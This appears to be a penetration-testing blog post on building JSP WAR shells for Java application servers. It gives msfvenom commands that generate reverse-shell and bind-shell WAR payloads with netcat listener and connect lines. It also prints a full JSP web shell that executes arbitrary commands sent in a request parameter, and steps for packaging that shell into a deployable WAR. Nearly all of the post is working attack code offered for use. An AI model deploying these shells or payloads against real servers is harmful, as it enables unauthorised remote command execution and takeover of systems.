Post

JSP War Shell

How to generate a reverse, bind, and in-browser JSP War shell. This will cover generating payloads with MSFVenom and manually creating a war file from our own JSP file(s).

  1. JSP War Shell MSFVenom
  2. JSP War Simple Browser Shell

JSP War Shell MSFVenom

Using the msfvenom tool built into Kali, we can see what shells we have available:

1
2
3
4
root@kali:~# msfvenom --list payloads | grep jsp
    java/jsp_shell_bind_tcp                             Listen for a connection and spawn a command shell
    java/jsp_shell_reverse_tcp                          Connect back to attacker and spawn a command shell
root@kali:~# 

We can check what settings need to be specified using:

1
2
msfvenom -p java/jsp_shell_bind_tcp --list-options
msfvenom -p java/jsp_shell_reverse_tcp --list-options

JSP War Reverse Shell

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.123 LPORT=3155 -f war > shell.war

A netcat listener can be setup to listen for the connection using:

1
nc -nvlp 3155

JSP War Bind Shell

1
msfvenom -p java/jsp_shell_bind_tcp RHOST=0.0.0.0 LPORT=3155 -f war > bind.war

We can then use netcat to connect to the bind shell:

1
nc -nv 192.168.0.123 3155

Dealing with Errors

The above two shells are designed to working with Windows and Linux servers. However, sometimes the following message can come up after trying to load the application:

This can be resolved by unzipping the war file, removing the System call, and replacing the OS check with correct shell path:

1
String ShellPath = new String("cmd.exe");


JSP War Simple Browser Shell

Apologies for the below code highlight, apparently the code highlighter doesn’t like JSP code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<body style="background: rgb(30,30,30);">

<form method="GET" action="index.jsp">
   <h4 style="color: white;">Command Options</h4>

   <select id="osType" name="osType">
      <option value="win">Windows</option>
      <option value="linux">Linux</option>
   </select>

   </br>
   </br>

   <input id="cmd" name="cmd" type=text autofocus style="width: 300px;">
   <input type=submit value="Run Command">
</form>

<%@ page import="java.io.*" %>
<%!
   // Not Perfect, but will be good enough for a majority of cases that will arise
   public String HtmlEncode(String inputVal) {
      return inputVal.replaceAll("&", "&amp;").replaceAll("<", "&lt;").replaceAll(">", "&gt;").replaceAll("\'", "&apos;").replaceAll("\"", "&quot;");
   }

   public String RunCommand(String commandToRun, String osType) {
      String outputString = "";
      String currentLine = null;

      try {
         ProcessBuilder processBuilder = new ProcessBuilder();

         if (osType.equals("win")) {
            processBuilder.command("cmd", "/c", commandToRun);
         } else {
            processBuilder.command("bash", "-c", commandToRun);
         }
         
         Process p = processBuilder.start();

         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));

         while((currentLine = sI.readLine()) != null) {
            outputString += HtmlEncode(currentLine) + "</br>";
         }
      } catch(IOException e) {
         outputString = "ERROR: </br></br>" + e.getCause() + "</br></br>" + e.getMessage() + "</br>";
      }
      

      return outputString;
   }
%>
<%
   String osType = request.getParameter("osType");
   String cmd = request.getParameter("cmd");
   String output = "";

   String htmlCmd = "";
   String htmlOsType = "";

   if (osType == null || (!osType.equals("win") && !osType.equals("linux"))) {
      osType = "linux";
   }

   if(cmd != null) {
      String line = null;

      String testCommand = RunCommand("", osType);

      if (testCommand.startsWith("ERROR:")) {
         output = RunCommand(cmd, osType);
      } else {
         if (osType.equals("win")) {
            output = "<b style=\"color: white;\">" + HtmlEncode(RunCommand("cd", osType).trim().replaceAll("</br>", "").replaceAll("\r", "").replaceAll("\n", "")) + HtmlEncode("> ") + HtmlEncode(cmd) + "</br></br></b>";
         } else {
            String username = HtmlEncode(RunCommand("whoami", osType).trim().replaceAll("</br>", "").replaceAll("\r", "").replaceAll("\n", ""));
            String hostname = HtmlEncode(RunCommand("hostname", osType).trim().replaceAll("</br>", "").replaceAll("\r", "").replaceAll("\n", ""));
            String workingDir = HtmlEncode(RunCommand("pwd", osType).trim().replaceAll("</br>", "").replaceAll("\r", "").replaceAll("\n", ""));

            String userAndHost = "<b style=\"color: rgb(136,223,51);\">" + username + "@" + hostname + "</b>" + "<span style=\"color: white;\">:</span>";
            String dirPath = "<span style=\"color: rgb(114,159,207);\">" + workingDir + "</span>";

            output = userAndHost + dirPath + "<span style=\"color: white;\"># " + HtmlEncode(cmd) + "</span></br></br>";
         }

         output += RunCommand(cmd, osType);
      }

      htmlCmd = HtmlEncode(cmd);
      htmlOsType = HtmlEncode(osType);
   }
%>
<pre style="color: white;"><%=output %></pre>

<script>
   let cmdValue = "<%=htmlCmd %>".replaceAll("&quot;", "\"").replaceAll("&apos;", "\'").replaceAll("&gt;", ">").replaceAll("&lt;", "<").replaceAll("&amp;", "&");
   let osTypeValue = "<%=htmlOsType %>";
   
   if (osTypeValue !== 'win' && osTypeValue !== 'linux') osTypeValue = 'linux';

   document.getElementById('cmd').value = cmdValue;
   document.getElementById('osType').value = osTypeValue;
</script>

</body>

Example Shell Running on Windows

Example Shell Running on Linux

Package with Java

With the above JSP code, we can bundle it into a war file using the jar tool that comes with Java JDK:

1
2
jar -cvf OUTPUT_FILE INPUT_FILES
jar -cvf browser-shell.war index.jsp
  • index.jsp can also be substituted with * to bundle all the files in the current folder.

Package Manually

Alternatively, you can create a folder called META-INF, and inside that folder created a file called MANIFEST.MF. This file should contain the manifest version and Java version:

1
2
Manifest-Version: 1.0
Created-By: 17.0.1 (Oracle Corporation)

We then create a zip file with the index.jsp file and the META-INF folder using a tool like 7zip. The output file should be renamed so it has the .war extension. The contents of the war file should look like this:

1
2
3
(FILE)     index.jsp
(FOLDER)   META-INF
(FILE)        MANIFEST.MF
This post is licensed under CC BY 4.0 by the author.